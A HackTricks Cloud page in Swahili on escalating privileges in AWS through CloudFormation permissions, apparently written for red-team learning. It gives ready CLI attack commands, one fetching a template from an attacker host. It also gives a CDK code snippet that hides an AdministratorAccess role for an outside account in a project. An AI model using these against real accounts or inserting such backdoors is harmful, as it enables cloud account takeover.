AWS - Cloudformation Privesc
Reading time: 6 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
cloudformation
Kwa maelezo zaidi kuhusu cloudformation angalia:
AWS - CloudFormation & Codestar Enum
iam:PassRole
, cloudformation:CreateStack
Mshambuliaji mwenye ruhusa hizi anaweza kuongeza mamlaka kwa kutunga CloudFormation stack na kiolezo maalum, kilichohifadhiwa kwenye seva yao, ili kutekeleza vitendo chini ya ruhusa za jukumu lililobainishwa:
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>
Katika ukurasa ufuatao una mfano wa kuvamia na ruhusa ya ziada cloudformation:DescribeStacks
:
iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks
Athari Zinazoweza Kutokea: Privesc kwa jukumu la huduma ya cloudformation lililotajwa.
iam:PassRole
, (cloudformation:UpdateStack
| cloudformation:SetStackPolicy
)
Katika kesi hii unaweza kuitumia stack ya cloudformation iliyopo kuisasaisha na kupandisha ruhusa kama ilivyo katika hali ya awali:
aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1
Ruhusa cloudformation:SetStackPolicy
inaweza kutumika kujiwezesha ruhusa ya UpdateStack
juu ya stack na kutekeleza shambulio.
Athari Zinazoweza Kutokea: Privesc kwa jukumu la huduma la cloudformation lililotajwa.
cloudformation:UpdateStack
| cloudformation:SetStackPolicy
Ikiwa una ruhusa hii lakini hakuna iam:PassRole
bado unaweza kusasisha stacks zinazotumika na kutumia IAM Roles ambazo tayari zimeunganishwa. Angalia sehemu ya awali kwa mfano wa matumizi (usionyeshe jukumu lolote katika sasisho).
Ruhusa cloudformation:SetStackPolicy
inaweza kutumika kujiwezesha ruhusa ya UpdateStack
juu ya stack na kutekeleza shambulio.
Athari Zinazoweza Kutokea: Privesc kwa jukumu la huduma la cloudformation lililotajwa tayari.
iam:PassRole
,((cloudformation:CreateChangeSet
, cloudformation:ExecuteChangeSet
) | cloudformation:SetStackPolicy
)
Mshambuliaji mwenye ruhusa za kupitisha jukumu na kuunda & kutekeleza ChangeSet anaweza kuunda/kusasisha stack mpya ya cloudformation na kutumia jukumu za huduma za cloudformation kama ilivyo kwa CreateStack au UpdateStack.
Shambulio linalofuata ni tofauti ya CreateStack moja ikitumia ruhusa za ChangeSet kuunda stack.
aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1
echo "Waiting 2 mins to change the stack"
sleep 120
aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1
echo "Waiting 2 mins to execute the stack"
sleep 120
aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
Ruhusa cloudformation:SetStackPolicy
inaweza kutumika kujipewe ruhusa za ChangeSet
juu ya stack na kufanya shambulio.
Athari Zinazoweza Kutokea: Privesc kwa majukumu ya huduma ya cloudformation.
(cloudformation:CreateChangeSet
, cloudformation:ExecuteChangeSet
) | cloudformation:SetStackPolicy
)
Hii ni kama njia ya awali bila kupitisha majukumu ya IAM, hivyo unaweza tu kutumia yale yaliyounganishwa tayari, badilisha tu parameter:
--change-set-type UPDATE
Madhara Yanayoweza Kutokea: Privesc kwa huduma ya cloudformation ambayo tayari imeunganishwa.
iam:PassRole
,(cloudformation:CreateStackSet
| cloudformation:UpdateStackSet
)
Mshambuliaji anaweza kutumia ruhusa hizi kuunda/update StackSets ili kutumia majukumu ya cloudformation yasiyo na mipaka.
Madhara Yanayoweza Kutokea: Privesc kwa majukumu ya cloudformation.
cloudformation:UpdateStackSet
Mshambuliaji anaweza kutumia ruhusa hii bila ruhusa ya passRole ili kuboresha StackSets kutumia majukumu ya cloudformation yaliyounganishwa.
Madhara Yanayoweza Kutokea: Privesc kwa majukumu ya cloudformation yaliyounganishwa.
AWS CDK
AWS cdk ni zana inayowezesha watumiaji kufafanua miundombinu yao kama msimbo katika lugha wanazozijua tayari, pamoja na kuruhusu urahisi wa kutumia sehemu tena. CDK kisha inabadilisha msimbo wa kiwango cha juu (yaani python) kuwa templeti za Cloudformation (yaml au json).
Ili kutumia CDK, mtumiaji wa kiutawala lazima kwanza aweke msingi wa akaunti, ambayo inaunda majukumu kadhaa ya IAM, ikiwa ni pamoja na exec role, ambayo ina ruhusa */*. Majukumu haya yanafuata muundo wa majina cdk-<qualifier>-<name>-<account-id>-<region>
. Kuweka msingi lazima kufanyike mara moja kwa kila eneo kwa kila akaunti.
Kwa kawaida, watumiaji wa CDK hawana uf access wa kuorodhesha majukumu yanayohitajika kutumia CDK, ikimaanisha kuwa utahitaji kuyatambua kwa mikono. Ikiwa utavunja mashine ya mende au node ya CI/CD, majukumu haya yanaweza kudhaniwa ili kujipa uwezo wa kupeleka templeti za CFN, ukitumia ruhusa ya cfn-exec
kuruhusu CFN kupeleka rasilimali yoyote, na hivyo kuathiri akaunti hiyo kabisa.
Kutambua majina ya majukumu
Ikiwa una cloudformation:DescribeStacks
, majukumu yamefafanuliwa katika stack inayoitwa CDKToolkit
, na unaweza kuvuta majina kutoka hapo.
Ikiwa uko kwenye mashine ambayo imetumika kujenga na kupeleka miradi ya CDK, unaweza kuvuta kutoka cdk.out/manafest.json
katika saraka ya mizizi ya miradi.
Pia unaweza kufanya makadirio mazuri kuhusu ni yapi. qualifier
ni mfuatano unaoongezwa kwa majukumu kuruhusu matukio mengi ya CDK bootstrap kupelekwa kwa wakati mmoja, hata hivyo thamani ya kawaida imeandikwa kwa hnb659fds
.
# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>
Kuongeza msimbo mbaya kwenye chanzo cha mradi
Ikiwa unaweza kuandika kwenye chanzo cha mradi, lakini huwezi kupeleka mwenyewe (kwa mfano, mende anapeleka msimbo kupitia CI/CD, si mashine ya ndani), bado unaweza kuathiri mazingira kwa kuongeza rasilimali mbaya kwenye stack. Ifuatayo inaongeza jukumu la IAM ambalo linaweza kuchukuliwa na akaunti ya mshambuliaji kwenye mradi wa python CDK.
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)
# ----------
# Some existing code.....
# ----------
role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)
Marejeo
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.